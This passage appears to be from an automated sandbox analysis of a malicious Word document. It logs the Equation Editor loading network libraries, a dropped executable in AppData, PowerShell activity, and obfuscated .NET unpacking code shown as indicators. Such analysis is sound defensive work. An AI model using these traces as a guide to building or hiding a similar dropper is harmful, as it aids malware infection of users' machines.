Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: version.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: secur32.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: webio.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: nlaapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\InProcServer32 Jump to behavior
Source: na.LNK.0.dr LNK file: ..\..\..\..\..\Desktop\na.doc
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: na.doc Static file information: File size 1838683 > 1048576
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: vqar.pdb source: EQNEDT32.EXE, 00000002.00000003.403025619.000000000063D000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.403029344.0000000000621000.00000004.00000020.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000005.00000000.402963037.0000000000E82000.00000020.00000001.01000000.00000004.sdmp, qHbynE8Vgwabsy3[1].exe.2.dr, cdlpohayugo39567.exe.2.dr
Source: Binary string: vqar.pdbSHA256 source: EQNEDT32.EXE, 00000002.00000003.403025619.000000000063D000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.403029344.0000000000621000.00000004.00000020.00020000.00000000.sdmp, cdlpohayugo39567.exe, 00000005.00000000.402963037.0000000000E82000.00000020.00000001.01000000.00000004.sdmp, qHbynE8Vgwabsy3[1].exe.2.dr, cdlpohayugo39567.exe.2.dr

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: 5.2.cdlpohayugo39567.exe.337ac68.4.raw.unpack, Uo.cs .Net Code: _202A_202E_206E_206A_202B_206A_200E_200D_206F_200D_200C_200B_206E_202C_202B_200E_206A_202D_202A_202C_202E_206B_202C_202E_202D_206F_206C_200E_202D_206B_202D_206D_202A_200C_200C_200B_200C_202B_200D_202E_202E System.Reflection.Assembly.Load(byte[])
Source: 5.2.cdlpohayugo39567.exe.3391e88.3.raw.unpack, Uo.cs .Net Code: _202A_202E_206E_206A_202B_206A_200E_200D_206F_200D_200C_200B_206E_202C_202B_200E_206A_202D_202A_202C_202E_206B_202C_202E_202D_206F_206C_200E_202D_206B_202D_206D_202A_200C_200C_200B_200C_202B_200D_202E_202E System.Reflection.Assembly.Load(byte[])
Source: 5.2.cdlpohayugo39567.exe.63c0000.7.raw.unpack, pbVHJsCgecSXhXNesj.cs .Net Code: edtX4RO75J System.Reflection.Assembly.Load(byte[])
Source: 5.2.cdlpohayugo39567.exe.bc0000.0.raw.unpack, Uo.cs .Net Code: _202A_202E_206E_206A_202B_206A_200E_200D_206F_200D_200C_200B_206E_202C_202B_200E_206A_202D_202A_202C_202E_206B_202C_202E_202D_206F_206C_200E_202D_206B_202D_206D_202A_200C_200C_200B_200C_202B_200D_202E_202E System.Reflection.Assembly.Load(byte[])
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, pbVHJsCgecSXhXNesj.cs .Net Code: edtX4RO75J System.Reflection.Assembly.Load(byte[])
Source: 5.2.cdlpohayugo39567.exe.3e555e8.6.raw.unpack, pbVHJsCgecSXhXNesj.cs .Net Code: edtX4RO75J System.Reflection.Assembly.Load(byte[])
Binary contains a suspicious time stamp
Source: qHbynE8Vgwabsy3[1].exe.2.dr Static PE information: 0xA3006032 [Mon Aug 28 17:53:54 2056 UTC]
Uses code obfuscation techniques (call, push, ret)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005E4456 push ecx; ret 2_2_005E4457
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005D8F52 push eax; retf 2_2_005D8F61
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005E444E push ecx; ret 2_2_005E444F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005E6B4E push eax; ret 2_2_005E6B4F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005E5A7A push ecx; ret 2_2_005E5A7B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005E5672 push ecx; ret 2_2_005E5673
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005E5A72 push ecx; ret 2_2_005E5A73
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005E0F60 push eax; retn 005Dh 2_2_005E0F61
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005E54DB push ecx; ret 2_2_005E54DF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005D01F4 push eax; retf 2_2_005D01F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005E54E3 push ecx; ret 2_2_005E54E7
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005E6B94 push eax; ret 2_2_005E6B97
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005E6B8C push eax; ret 2_2_005E6B8F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005E6B85 push eax; ret 2_2_005E6B87
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005E54B7 push ecx; ret 2_2_005E54D7
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_005E6BA4 push eax; ret 2_2_005E6C6F
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_0015D410 push edi; retf 0015h 7_2_0015D411
Source: C:\Users\user\AppData\Roaming\cdlpohayugo39567.exe Code function: 7_2_006B9590 pushfd ; retn 0065h 7_2_006B9591
Source: qHbynE8Vgwabsy3[1].exe.2.dr Static PE information: section name: .text entropy: 7.712698415610093
Source: cdlpohayugo39567.exe.2.dr Static PE information: section name: .text entropy: 7.712698415610093
Source: 5.2.cdlpohayugo39567.exe.63c0000.7.raw.unpack, DOkRkfKla7d2nWXn0d.cs High entropy of concatenated method names: 'MX2WcoApX9', 'awIWU8e2WY', 'gVqWDNG3Ig', 'wrjWffJHyv', 'lyZW2X3M1C', 'EfHWEHZ9mx', 'tbSWAxdv9c', 'VEVWg1wARx', 'WvjW8XOxXW', 'MteWrEOUlL'
Source: 5.2.cdlpohayugo39567.exe.63c0000.7.raw.unpack, AxPS6NU4xBdbum4iaG.cs High entropy of concatenated method names: 'zkoMGWSEEl', 'LjTMwExyud', 'JPtMcQxZFg', 'bBJMUPX7Zd', 'MJvManMn6i', 'ggKMBYaHVB', 'oC9MO0LR2n', 'qrfMTRtiMO', 'ikaMpajYAS', 'bf0M3ZrkS9'
Source: 5.2.cdlpohayugo39567.exe.63c0000.7.raw.unpack, nkQiD6cY1Ydm4FTjxb.cs High entropy of concatenated method names: 'rxkIFvcT9X', 'jcOIVUxJu0', 'idVIY6Wpl2', 'DqdItLOrl5', 'RcWI0WnxxT', 'QGaIhjRhOe', 'Q1GIqrwc1I', 'kO8IvBONHe', 'h0wIRvPnHw', 'IcVI6vD7fO'
Source: 5.2.cdlpohayugo39567.exe.63c0000.7.raw.unpack, oe3Km7DTgTKGBvcC3S.cs High entropy of concatenated method names: 'Scex7itZ1a', 'krMxIUajhW', 'WAoxlBZMAN', 'hR9xo8OeH8', 'XCoxCvFwtf', 'Rayl0pjCrE', 'R0klhNWoX4', 'H3klqerTNv', 'aC1lv4xu3i', 'MpclR2U3dH'
Source: 5.2.cdlpohayugo39567.exe.63c0000.7.raw.unpack, A1IKPavVkyxBAQZuM2.cs High entropy of concatenated method names: 'QagTuhRpIP', 'iuiTIIybAn', 'TUgTMN0CRY', 'M2OTl9QPLY', 's9cTxakbyl', 'ghkTouCgWb', 'TiSTCesadA', 'obUTL5B18F', 'z60Te5t9Vx', 'JNgT9Rykqq'
Source: 5.2.cdlpohayugo39567.exe.63c0000.7.raw.unpack, SXuFQVPsQB87HiA6dN1.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'nhi3FQlC0Z', 'Ihd3VS9Sql', 'eHg3Yg8xVv', 'ASW3tAjk1B', 'tsV30MdOAd', 'pye3hhVSqr', 'QSU3qmPvvb'
Source: 5.2.cdlpohayugo39567.exe.63c0000.7.raw.unpack, d8ukINn1NQVCqVxQjL.cs High entropy of concatenated method names: 'CE6l5ByBSK', 'jAmlN6imED', 'VpCMkyL7ec', 'nsCM2pZudQ', 'cU3MEHc6BB', 't2rMiVj1eh', 'RdnMAgDBYp', 'G7mMgwjQOv', 'xWSMbkHlmK', 'Sl3M8gdhbi'
Source: 5.2.cdlpohayugo39567.exe.63c0000.7.raw.unpack, QRu7lvPHJ4Jfthlhhtx.cs High entropy of concatenated method names: 'HecpjlAJjF', 'u6OpZKTxUO', 'gb4p4eHqsf', 'WaApGpTln0', 'PLDp5eduKx', 'IJYpwCKTES', 'oN4pNLJKGC', 'OhPpcljpH7', 'iyWpUm8VIA', 'k5Bpn12qEL'
Source: 5.2.cdlpohayugo39567.exe.63c0000.7.raw.unpack, pbVHJsCgecSXhXNesj.cs High entropy of concatenated method names: 'XVns7YYd64', 'gk9suK4tW4', 'iqosI1Ahmq', 'B34sMTinFP', 'yGnslT6cJu', 'uOesxApms1', 'IQZsoqlBYD', 'ctasCPOlT0', 'arosLC0xTI', 'HHbseOLoCK'
Source: 5.2.cdlpohayugo39567.exe.63c0000.7.raw.unpack, pE7g6sAN1if5hfhCiK.cs High entropy of concatenated method names: 'bbgouYl8De', 'boxoMRc0sQ', 'wBvoxXtFSR', 'tpRx6PwpOm', 'VRLxzZd62H', 'xlJoHIhLv7', 'iBsoPSrTMV', 'kt1o10RlEx', 'YG1osMXSe3', 'FhSoXQq0hT'
Source: 5.2.cdlpohayugo39567.exe.63c0000.7.raw.unpack, zcJu9C6JCFbkvaDEP2.cs High entropy of concatenated method names: 'sBSpPRoUWj', 'v3vpsTJeju', 'FXTpX0rqbk', 'I8wpuhaIk3', 'gUnpI1eyv8', 'BCmplMBKpZ', 'b3lpxlFJUF', 'XsSTqtU29p', 'EvNTv4nvcU', 'rK3TR9xRR2'
Source: 5.2.cdlpohayugo39567.exe.63c0000.7.raw.unpack, OxVbcfFYjHQZCnPtSc.cs High entropy of concatenated method names: 'iuya8y4NAd', 'tCDaJsm5Li', 'AjbaFXqHYZ', 'a3CaV7bQXL', 'fnnafbsDW9', 'hMuak9Jqft', 'Bp0a2SMK5p', 'BL1aESxrOe', 'y9Rai4KiyZ', 'yqHaAJUd24'
Source: 5.2.cdlpohayugo39567.exe.63c0000.7.raw.unpack, Vri5Y0X3Mvj8QeZPU3.cs High entropy of concatenated method names: 'uLWPokQiD6', 'S1YPCdm4FT', 'C4xPeBdbum', 'ziaP9GX8uk', 'SxQPajLae3', 'Qm7PBTgTKG', 'rnQZCCh0wCxJpXER3h', 'Bi2bHbSHCynpkvrkHt', 'RyLPPat0KD', 'ciZPsa8Tdu'
Source: 5.2.cdlpohayugo39567.exe.63c0000.7.raw.unpack, ORv0Vf1MXaCwqJj3AO.cs High entropy of concatenated method names: 'M8a4S0T1A', 'QANG02vIj', 'DTNweXmE7', 'sanNBUiQK', 'sfjUKgcJ8', 'Bl3nr80sk', 'gQQRpnyf80he2jpcWd', 'Qoi4H3nYbSufOefLo2', 'EiETYQF9m', 'Om03b4vCA'
Source: 5.2.cdlpohayugo39567.exe.63c0000.7.raw.unpack, ay0RdqRtsqlCqsp4Jt.cs High entropy of concatenated method names: 'WeYTDG5KTM', 'J4QTf4nFNe', 'v4ATksmPf6', 'ki0T2UQ0rc', 'IWHTFiAXji', 'qnITEuCdgs', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.cdlpohayugo39567.exe.63c0000.7.raw.unpack, Eg2Qf0Mvy91CloiMEy.cs High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'mY41RK24rR', 'SpG16nV9i8', 'fEW1zpf1lZ', 'hqisHMPsD9', 'cqssPbXsVr', 'YJgs14GO0O', 'OkGss3OiBw', 'XVpyUEY0fKZHIVbygfx'
Source: 5.2.cdlpohayugo39567.exe.63c0000.7.raw.unpack, IjiV83IwFQ2LWBkWZL.cs High entropy of concatenated method names: 'Dispose', 'DllPRhQ8dw', 'cFu1fDNHD2', 'ye3vvGqc1V', 'p51P6IKPaV', 'IyxPzBAQZu', 'ProcessDialogKey', 'g2P1Hy0Rdq', 'Tsq1PlCqsp', 'zJt114cJu9'
Source: 5.2.cdlpohayugo39567.exe.63c0000.7.raw.unpack, FLt5ZqbnRjplMM1mRV.cs High entropy of concatenated method names: 'OEaoj4p6Ys', 'bUUoZTcS4d', 'INpo4PmK1Y', 'IZ8oGtybay', 'Yrko5E60kT', 'HEwow7kQS8', 'M3moNLIYwP', 'Fojoc4iTc1', 'gsVoUlVwBG', 'Ve7onoapbd'
Source: 5.2.cdlpohayugo39567.exe.63c0000.7.raw.unpack, w7sfGjhxCOpKI2Hm2M.cs High entropy of concatenated method names: 'yumOvgZufS', 'o3lO6rQ7uh', 'sbPTHq4fPy', 'vCATPuWb02', 'pIIOrDLKW0', 'snDOJ6U0gr', 'qFqOKk1IkK', 'zsGOF6oJlN', 'g7GOVsWk8B', 'dAoOYvQ1lb'
Source: 5.2.cdlpohayugo39567.exe.63c0000.7.raw.unpack, bgVh2BzAtL2EuQnmHR.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'pk3pWvnLxy', 'K4HpaiiR66', 'bnlpB8RSqh', 'PwSpOuKLfx', 'HsspThxL0x', 'i7KppA34Mc', 'dslp3ME4CY'
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, DOkRkfKla7d2nWXn0d.cs High entropy of concatenated method names: 'MX2WcoApX9', 'awIWU8e2WY', 'gVqWDNG3Ig', 'wrjWffJHyv', 'lyZW2X3M1C', 'EfHWEHZ9mx', 'tbSWAxdv9c', 'VEVWg1wARx', 'WvjW8XOxXW', 'MteWrEOUlL'
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, AxPS6NU4xBdbum4iaG.cs High entropy of concatenated method names: 'zkoMGWSEEl', 'LjTMwExyud', 'JPtMcQxZFg', 'bBJMUPX7Zd', 'MJvManMn6i', 'ggKMBYaHVB', 'oC9MO0LR2n', 'qrfMTRtiMO', 'ikaMpajYAS', 'bf0M3ZrkS9'
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, nkQiD6cY1Ydm4FTjxb.cs High entropy of concatenated method names: 'rxkIFvcT9X', 'jcOIVUxJu0', 'idVIY6Wpl2', 'DqdItLOrl5', 'RcWI0WnxxT', 'QGaIhjRhOe', 'Q1GIqrwc1I', 'kO8IvBONHe', 'h0wIRvPnHw', 'IcVI6vD7fO'
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, oe3Km7DTgTKGBvcC3S.cs High entropy of concatenated method names: 'Scex7itZ1a', 'krMxIUajhW', 'WAoxlBZMAN', 'hR9xo8OeH8', 'XCoxCvFwtf', 'Rayl0pjCrE', 'R0klhNWoX4', 'H3klqerTNv', 'aC1lv4xu3i', 'MpclR2U3dH'
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, A1IKPavVkyxBAQZuM2.cs High entropy of concatenated method names: 'QagTuhRpIP', 'iuiTIIybAn', 'TUgTMN0CRY', 'M2OTl9QPLY', 's9cTxakbyl', 'ghkTouCgWb', 'TiSTCesadA', 'obUTL5B18F', 'z60Te5t9Vx', 'JNgT9Rykqq'
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, SXuFQVPsQB87HiA6dN1.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'nhi3FQlC0Z', 'Ihd3VS9Sql', 'eHg3Yg8xVv', 'ASW3tAjk1B', 'tsV30MdOAd', 'pye3hhVSqr', 'QSU3qmPvvb'
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, d8ukINn1NQVCqVxQjL.cs High entropy of concatenated method names: 'CE6l5ByBSK', 'jAmlN6imED', 'VpCMkyL7ec', 'nsCM2pZudQ', 'cU3MEHc6BB', 't2rMiVj1eh', 'RdnMAgDBYp', 'G7mMgwjQOv', 'xWSMbkHlmK', 'Sl3M8gdhbi'
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, QRu7lvPHJ4Jfthlhhtx.cs High entropy of concatenated method names: 'HecpjlAJjF', 'u6OpZKTxUO', 'gb4p4eHqsf', 'WaApGpTln0', 'PLDp5eduKx', 'IJYpwCKTES', 'oN4pNLJKGC', 'OhPpcljpH7', 'iyWpUm8VIA', 'k5Bpn12qEL'
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, pbVHJsCgecSXhXNesj.cs High entropy of concatenated method names: 'XVns7YYd64', 'gk9suK4tW4', 'iqosI1Ahmq', 'B34sMTinFP', 'yGnslT6cJu', 'uOesxApms1', 'IQZsoqlBYD', 'ctasCPOlT0', 'arosLC0xTI', 'HHbseOLoCK'
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, pE7g6sAN1if5hfhCiK.cs High entropy of concatenated method names: 'bbgouYl8De', 'boxoMRc0sQ', 'wBvoxXtFSR', 'tpRx6PwpOm', 'VRLxzZd62H', 'xlJoHIhLv7', 'iBsoPSrTMV', 'kt1o10RlEx', 'YG1osMXSe3', 'FhSoXQq0hT'
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, zcJu9C6JCFbkvaDEP2.cs High entropy of concatenated method names: 'sBSpPRoUWj', 'v3vpsTJeju', 'FXTpX0rqbk', 'I8wpuhaIk3', 'gUnpI1eyv8', 'BCmplMBKpZ', 'b3lpxlFJUF', 'XsSTqtU29p', 'EvNTv4nvcU', 'rK3TR9xRR2'
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, OxVbcfFYjHQZCnPtSc.cs High entropy of concatenated method names: 'iuya8y4NAd', 'tCDaJsm5Li', 'AjbaFXqHYZ', 'a3CaV7bQXL', 'fnnafbsDW9', 'hMuak9Jqft', 'Bp0a2SMK5p', 'BL1aESxrOe', 'y9Rai4KiyZ', 'yqHaAJUd24'
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, Vri5Y0X3Mvj8QeZPU3.cs High entropy of concatenated method names: 'uLWPokQiD6', 'S1YPCdm4FT', 'C4xPeBdbum', 'ziaP9GX8uk', 'SxQPajLae3', 'Qm7PBTgTKG', 'rnQZCCh0wCxJpXER3h', 'Bi2bHbSHCynpkvrkHt', 'RyLPPat0KD', 'ciZPsa8Tdu'
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, ORv0Vf1MXaCwqJj3AO.cs High entropy of concatenated method names: 'M8a4S0T1A', 'QANG02vIj', 'DTNweXmE7', 'sanNBUiQK', 'sfjUKgcJ8', 'Bl3nr80sk', 'gQQRpnyf80he2jpcWd', 'Qoi4H3nYbSufOefLo2', 'EiETYQF9m', 'Om03b4vCA'
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, ay0RdqRtsqlCqsp4Jt.cs High entropy of concatenated method names: 'WeYTDG5KTM', 'J4QTf4nFNe', 'v4ATksmPf6', 'ki0T2UQ0rc', 'IWHTFiAXji', 'qnITEuCdgs', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, Eg2Qf0Mvy91CloiMEy.cs High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'mY41RK24rR', 'SpG16nV9i8', 'fEW1zpf1lZ', 'hqisHMPsD9', 'cqssPbXsVr', 'YJgs14GO0O', 'OkGss3OiBw', 'XVpyUEY0fKZHIVbygfx'
Source: 5.2.cdlpohayugo39567.exe.3dd0dc8.2.raw.unpack, IjiV83IwFQ2LWBkWZL.cs High entropy of concatenated method names: 'Dispose', 'DllPRhQ8dw', 'cFu1fDNHD2', 'ye3vvGqc1V', 'p51P6IKPaV', 'IyxPzBAQZu', 'ProcessDialogKey', 'g2P1Hy0Rdq', 'Tsq1PlCqsp', 'zJt114cJu9'
